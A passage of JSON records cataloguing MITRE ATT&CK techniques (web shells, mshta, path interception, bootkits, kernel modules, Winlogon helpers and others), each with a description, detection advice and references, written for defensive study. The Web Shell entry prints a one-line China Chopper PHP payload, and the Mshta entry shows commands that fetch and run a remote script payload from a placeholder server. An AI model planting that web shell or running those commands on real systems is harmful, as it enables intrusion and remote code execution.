          "Process Monitoring",
          "Process command-line parameters",
          "Windows event logs"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1202",
          "https://twitter.com/vector%20sec/status/896049052642533376",
          "https://twitter.com/Evi1cg/status/935027922397573120",
          "https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe"
        ]
      },
      "uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
      "value": "Indirect Command Execution - T1202"
    },
    {
      "description": "Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)\n\nDetection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Binary file metadata, File monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User\n\nContributors: Walker Johnson",
      "meta": {
        "external_id": "T1107",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "Binary file metadata",
          "File monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Linux",
          "Windows",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1107",
          "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/"
        ]
      },
      "uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59",
      "value": "File Deletion - T1107"
    },
    {
      "description": "Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of cmd in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n===Unquoted Paths===\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\unsafe path with space\\program.exe</code> vs. <code>\"C:\\safe path with space\\program.exe\"</code>). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\\program files\\myapp.exe</code>, an adversary may create a program at <code>C:\\program.exe</code> that will be run instead of the intended program.\n\n===PATH Environment Variable Misconfiguration===\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\\system32</code> (e.g., <code>C:\\Windows\\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if <code>C:\\example path</code> precedes <code>C:\\Windows\\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\\example path</code> will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n===Search Order Hijacking===\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in DLL Search Order Hijacking.\n\nDetection: Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. \n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Stefan Kanthak",
      "meta": {
        "external_id": "T1034",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence",
          "mitre-attack:enterprise-attack:privilege-escalation"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1034",
          "https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/",
          "http://support.microsoft.com/KB/103000",
          "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464",
          "http://msdn.microsoft.com/en-us/library/ms682425",
          "http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120",
          "http://msdn.microsoft.com/en-us/library/ms687393",
          "https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx"
        ]
      },
      "uuid": "c4ad009b-6e13-4419-8d21-918a1652de02",
      "value": "Path Interception - T1034"
    },
    {
      "description": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n===Master Boot Record===\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\n===Volume Boot Record===\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\n\nDetection: Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.\n\nPlatforms: Linux, Windows\n\nData Sources: API monitoring, MBR, VBR\n\nPermissions Required: Administrator, SYSTEM",
      "meta": {
        "external_id": "T1067",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "API monitoring",
          "MBR",
          "VBR"
        ],
        "mitre_platforms": [
          "Linux",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1067",
          "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion",
          "https://www.fireeye.com/content/dam/fireeye-www/regional/fr%20FR/offers/pdfs/ig-mtrends-2016.pdf"
        ]
      },
      "uuid": "02fefddc-fb1b-423f-a76b-7552dd211d4d",
      "value": "Bootkit - T1067"
    },
    {
      "description": "Adversaries may delete or alter generated event files on a host system, including potentially captured files such as quarantined malware. This may compromise the integrity of the security solution, causing events to go unreported, or make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.\n\nDetection: File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system will require different detection mechanisms.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems",
      "meta": {
        "external_id": "T1070",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1070"
        ]
      },
      "uuid": "799ace7f-e227-4411-baa0-8868704f2a69",
      "value": "Indicator Removal on Host - T1070"
    },
    {
      "description": "Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.\n\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a mouse click or key press) but access the network without such may be malicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: User interface, Process monitoring\n\nRequires Network: Yes\n\nContributors: Itzik Kotler, SafeBreach",
      "meta": {
        "external_id": "T1011",
        "kill_chain": [
          "mitre-attack:enterprise-attack:exfiltration"
        ],
        "mitre_data_sources": [
          "User interface",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1011"
        ]
      },
      "uuid": "51ea26b1-ff1e-4faa-b1a0-1114cd298c87",
      "value": "Exfiltration Over Other Network Medium - T1011"
    },
    {
      "description": "Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Exfiltration.\n\nAdversaries will often search the file system on computers they have compromised to find files of interest. They may do this using a Command-Line Interface, such as cmd, which has functionality to interact with the file system to gather information. Some adversaries may also use Automated Collection on the local system.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nSystem Requirements: Privileges to access certain files and directories",
      "meta": {
        "external_id": "T1005",
        "kill_chain": [
          "mitre-attack:enterprise-attack:collection"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1005"
        ]
      },
      "uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
      "value": "Data from Local System - T1005"
    },
    {
      "description": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as Redundant Access or as a persistence mechanism in case an adversary's primary access methods are detected and removed.\n\nDetection: Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)\n\n<code><?php @eval($_POST['password']);></code>\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running cmd or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Anti-virus, File monitoring, Process monitoring, Authentication logs, Netflow/Enclave netflow\n\nEffective Permissions: User, SYSTEM\n\nSystem Requirements: Adversary access to Web server with vulnerability or account to upload and serve the Web shell file.",
      "meta": {
        "external_id": "T1100",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence",
          "mitre-attack:enterprise-attack:privilege-escalation"
        ],
        "mitre_data_sources": [
          "Anti-virus",
          "File monitoring",
          "Process monitoring",
          "Authentication logs",
          "Netflow/Enclave netflow"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1100",
          "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html",
          "https://www.us-cert.gov/ncas/alerts/TA15-314A"
        ]
      },
      "uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df",
      "value": "Web Shell - T1100"
    },
    {
      "description": "Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode Rootkit that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)\n\nCommon features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)\n\nDetection: LKMs are typically loaded into <code>/lib/modules</code> and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\n\nMany LKMs require Linux headers (specific to the target kernel) in order to compile properly. \nThese are typically obtained through the operating systems package manager and installed like a normal package.\n\nAdversaries will likely run these commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview)\n\nOn Ubuntu and Debian based systems this can be accomplished by running: <code>apt-get install linux-headers-$(uname -r)</code>\n\nOn RHEL and CentOS based systems this can be accomplished by running: <code>yum install kernel-devel-$(uname -r)</code>\n\nLoading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:<code>modprobe insmod lsmod rmmod modinfo</code> (Citation: Linux Loadable Kernel Module Insert and Remove LKMs)\n\nFor macOS, monitor for execution of <code>kextload</code> commands and correlate with other unknown or suspicious activity.\n\nPlatforms: Linux, macOS\n\nData Sources: System calls, Process Monitoring, Process command-line parameters\n\nPermissions Required: root\n\nContributors: Jeremy Galloway, Red Canary",
      "meta": {
        "external_id": "T1215",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "System calls",
          "Process Monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1215",
          "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf",
          "http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html",
          "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html",
          "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/",
          "https://github.com/f0rb1dd3n/Reptile",
          "https://github.com/m0nad/Diamorphine",
          "http://www.megasecurity.org/papers/Rootkits.pdf",
          "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf",
          "https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/",
          "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/",
          "https://en.wikipedia.org/wiki/Loadable%20kernel%20module#Linux",
          "http://tldp.org/HOWTO/Module-HOWTO/x197.html"
        ]
      },
      "uuid": "6be14413-578e-46c1-8304-310762b3ecd5",
      "value": "Kernel Modules and Extensions - T1215"
    },
    {
      "description": "Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as <code>FailureCommand</code>) that may be executed in an elevated context anytime the service fails or is intentionally corrupted. (Citation: Twitter Service Recovery Nov 2017)\n\nDetection: Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: Process command-line parameters, Services, Windows Registry\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Ability to modify service values in the Registry\n\nContributors: Matthew Demaske, Adaptforward, Travis Smith, Tripwire",
      "meta": {
        "external_id": "T1058",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence",
          "mitre-attack:enterprise-attack:privilege-escalation"
        ],
        "mitre_data_sources": [
          "Process command-line parameters",
          "Services",
          "Windows Registry"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1058",
          "https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx",
          "https://technet.microsoft.com/en-us/sysinternals/bb963902",
          "https://twitter.com/r0wdy%20/status/936365549553991680"
        ]
      },
      "uuid": "39a130e1-6ab7-434a-8bd2-418e7d9d6427",
      "value": "Service Registry Permissions Weakness - T1058"
    },
    {
      "description": "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension <code>.hta</code>. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code>\n\nThey may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: GitHub SubTee The List)\n\nDetection: Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Ricardo Dias, Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank",
      "meta": {
        "external_id": "T1170",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:execution"
        ],
        "mitre_data_sources": [
          "Process monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1170",
          "https://en.wikipedia.org/wiki/HTML%20Application",
          "https://msdn.microsoft.com/library/ms536471.aspx",
          "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf",
          "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/",
          "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html",
          "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
        ]
      },
      "uuid": "a127c32c-cbb0-4f9d-be07-881a792408ec",
      "value": "Mshta - T1170"
    },
    {
      "description": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include <code>C$</code>, <code>ADMIN$</code>, and <code>IPC$</code>. \n\nAdversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels. (Citation: Microsoft Admin Shares)\n\nThe Net utility can be used to connect to Windows admin shares on remote systems using <code>net use</code> commands with valid credentials. (Citation: Technet Net Use)\n\nDetection: Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as Net, on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.\n\nPlatforms: Windows\n\nData Sources: Process use of network, Authentication logs, Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator\n\nSystem Requirements: File and printer sharing over SMB enabled.\nHost/network firewalls not blocking SMB ports between source and destination.\nUse of domain account in administrator group on remote system or default system admin account.",
      "meta": {
        "external_id": "T1077",
        "kill_chain": [
          "mitre-attack:enterprise-attack:lateral-movement"
        ],
        "mitre_data_sources": [
          "Process use of network",
          "Authentication logs",
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1077",
          "https://en.wikipedia.org/wiki/Server%20Message%20Block",
          "https://technet.microsoft.com/en-us/library/cc787851.aspx",
          "http://support.microsoft.com/kb/314984",
          "https://technet.microsoft.com/bb490717.aspx",
          "http://blogs.technet.com/b/jepayne/archive/2015/11/27/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts.aspx",
          "http://blogs.technet.com/b/jepayne/archive/2015/11/24/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem.aspx"
        ]
      },
      "uuid": "ffe742ed-9100-4686-9e00-c331da544787",
      "value": "Windows Admin Shares - T1077"
    },
    {
      "description": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\\Software\\[Wow6432Node\\]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> and <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.\n\nDetection: Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns)  New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Praetorian",
      "meta": {
        "external_id": "T1004",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "Windows Registry",
          "File monitoring",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1004",
          "https://technet.microsoft.com/en-us/sysinternals/bb963902",
          "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order"
        ]
      },
      "uuid": "514ede4c-78b3-4d78-a38b-daddf6217a79",
      "value": "Winlogon Helper DLL - T1004"
    },
    {
      "description": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.\n\nDetection: Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.\n\nPlatforms: macOS\n\nData Sources: File monitoring\n\nEffective Permissions: Administrator, root\n\nPermissions Required: User",
      "meta": {
        "external_id": "T1157",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence",
          "mitre-attack:enterprise-attack:privilege-escalation"
        ],
        "mitre_data_sources": [
          "File monitoring"
        ],
        "mitre_platforms": [
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1157",
          "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
          "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf"
        ]
      },
      "uuid": "aa8bfbc9-78dc-41a4-a03b-7453e0fdccda",
      "value": "Dylib Hijacking - T1157"
    },
    {
      "description": "An adversary may use Valid Accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nDetection: Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Authentication logs\n\nSystem Requirements: Active remote service accepting connections and valid credentials",
      "meta": {
        "external_id": "T1021",
        "kill_chain": [
          "mitre-attack:enterprise-attack:lateral-movement"
        ],
        "mitre_data_sources": [
          "Authentication logs"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1021"
        ]
      },
      "uuid": "54a649ff-439a-41a4-9856-8d144a2551ba",
      "value": "Remote Services - T1021"
    },
    {
